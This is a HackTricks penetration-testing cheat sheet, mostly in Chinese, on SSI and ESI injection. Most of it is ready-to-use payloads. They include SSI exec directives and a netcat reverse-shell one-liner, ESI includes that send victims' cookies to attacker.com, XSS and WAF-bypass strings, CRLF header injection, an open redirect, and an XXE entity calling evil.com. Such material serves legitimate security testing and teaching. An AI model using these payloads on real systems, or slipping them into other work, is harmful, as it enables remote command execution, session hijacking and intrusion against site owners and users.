Server Side Inclusion/Edge Side Inclusion Injection

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

服务器端包含基本信息

(介绍摘自Apache文档)

SSI(服务器端包含)是放置在HTML页面中的指令,在服务器上进行评估,而页面正在提供时。它们让您可以向现有HTML页面添加动态生成的内容,而无需通过CGI程序或其他动态技术提供整个页面。 例如,您可以将指令放入现有的HTML页面中,如:

<!--#echo var="DATE_LOCAL" -->

当提供页面时,此片段将被评估并替换为其值:

Tuesday, 15-Jan-2013 19:28:54 EST

何时使用SSI,何时让页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次提供页面时需要重新计算多少。SSI是向页面添加小块信息的绝佳方式,例如上面显示的当前时间。但是,如果页面的大部分是在提供时生成的,您需要寻找其他解决方案。

如果Web应用程序使用扩展名为** .shtml.shtm.stm **的文件,则可以推断存在SSI,但情况并非总是如此。

典型的SSI表达式具有以下格式:

<!--#directive param="value" -->

检查

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

边缘包含

在缓存信息或动态应用程序时可能会出现问题,因为内容的一部分可能会在下次检索内容时发生变化。这就是ESI的用途,通过使用ESI标记指示需要在发送缓存版本之前生成的动态内容。 如果攻击者能够在缓存内容中注入ESI标记,那么他就可以在将文档发送给用户之前注入任意内容。

ESI检测

从服务器响应中的以下标头表示服务器正在使用ESI:

Surrogate-Control: content="ESI/1.0"

如果您找不到此标头,则服务器可能仍在使用ESI也可以使用盲目利用方法,因为请求应该发送到攻击者的服务器:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI利用

GoSecure创建了一张表,以了解我们可以针对不同支持ESI的软件尝试的可能攻击,具体取决于支持的功能:

  • Includes:支持<esi:includes>指令

  • Vars:支持<esi:vars>指令。用于绕过XSS过滤器

  • Cookie:文档cookie可被ESI引擎访问

  • Upstream Headers Required:除非上游应用程序提供头部,否则代理应用程序将不会处理ESI语句

  • Host Allowlist:在这种情况下,ESI包含仅可能来自允许的服务器主机,例如,只有对这些主机才可能进行SSRF

软件

Includes

Vars

Cookies

Upstream Headers Required

Host Whitelist

Squid3

Varnish Cache

Fastly

Akamai ESI 测试服务器 (ETS)

NodeJS esi

NodeJS nodesi

可选的

XSS

以下ESI指令将在服务器响应中加载任意文件

<esi:include src=http://attacker.com/xss.html>

绕过客户端 XSS 保护

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
  • 远程窃取 cookie

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • 通过在响应中反射XSS来窃取HTTP_ONLY cookie:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

私有本地文件

不要将其与“本地文件包含”混淆:

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in HTTP headers. It consists of the ASCII characters 13 (CR) followed by 10 (LF). Attackers can exploit CRLF injection vulnerabilities to manipulate HTTP responses, perform header injection attacks, and potentially execute malicious actions.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

开放式重定向

以下内容将向响应添加一个 Location 头部

<!--esi $add_header('Location','http://attacker.com') -->

添加标题

  • 在强制请求中添加标题

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • 在响应中添加标头(用于绕过带有 XSS 的响应中的 "Content-Type: text/json")

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

在添加标头时的 CRLF (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai调试

这将发送包含在响应中的调试信息:

<esi:debug/>

ESI + XSLT = XXE

通过为_dca_参数指定xslt值,可以实现基于**eXtensible Stylesheet Language Transformations (XSLT)**的ESI包含。这种包含导致HTTP代理服务器检索XML和XSLT文件,后者过滤前者。这些XML文件可用于_XML External Entity (XXE)_攻击,使攻击者能够执行SSRF攻击。然而,这种方法的效用有限,因为ESI包含本身已经作为SSRF向量。由于底层Xalan库不支持,外部DTD不会被处理,从而防止本地文件提取。

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

检查XSLT页面:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

参考资料

Brute-Force Detection List

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于